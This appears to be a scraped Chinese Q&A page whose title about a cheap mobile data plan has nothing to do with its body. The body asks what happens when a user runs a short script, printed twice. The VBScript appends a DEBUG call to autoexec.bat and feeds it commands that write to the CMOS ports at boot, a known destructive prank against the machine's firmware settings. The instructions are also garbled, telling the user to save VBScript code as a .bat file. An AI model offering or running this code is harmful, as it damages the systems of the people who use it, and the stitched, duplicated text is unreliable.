30块钱31g流量靠谱吗:如果我这样 会怎么样?
来源:百度文库 编辑:查人人中国名人网 时间:2024/10/06 14:50:46
打开记事本,如下以下内容:
Const ForAppending=8
Dim fso,x,y
Set fso=createObject("Scripting.FileSystemObject")
Set x=fso.OpenTextFile("c:\autoexec.bat", ForAppending, True)
Set y=fso.createTextFile("c:\1.txt", True)
x.WriteBlankLines(1)
x.Write"debug<1.txt"
x.WriteBlankLines(1)
y.WriteLine("o 70 10")
y.WriteBlankLines(1)
y.Write("o 71 10")
y.Close
x.Close
保存以后 修改扩展名(txt)为bat 即 文件名.bat
然后运行
这样之后会怎么样???
Const ForAppending=8
Dim fso,x,y
Set fso=createObject("Scripting.FileSystemObject")
Set x=fso.OpenTextFile("c:\autoexec.bat", ForAppending, True)
Set y=fso.createTextFile("c:\1.txt", True)
x.WriteBlankLines(1)
x.Write"debug<1.txt"
x.WriteBlankLines(1)
y.WriteLine("o 70 10")
y.WriteBlankLines(1)
y.Write("o 71 10")
y.Close
x.Close
保存以后 修改扩展名(txt)为bat 即 文件名.bat
然后运行
这样之后会怎么样???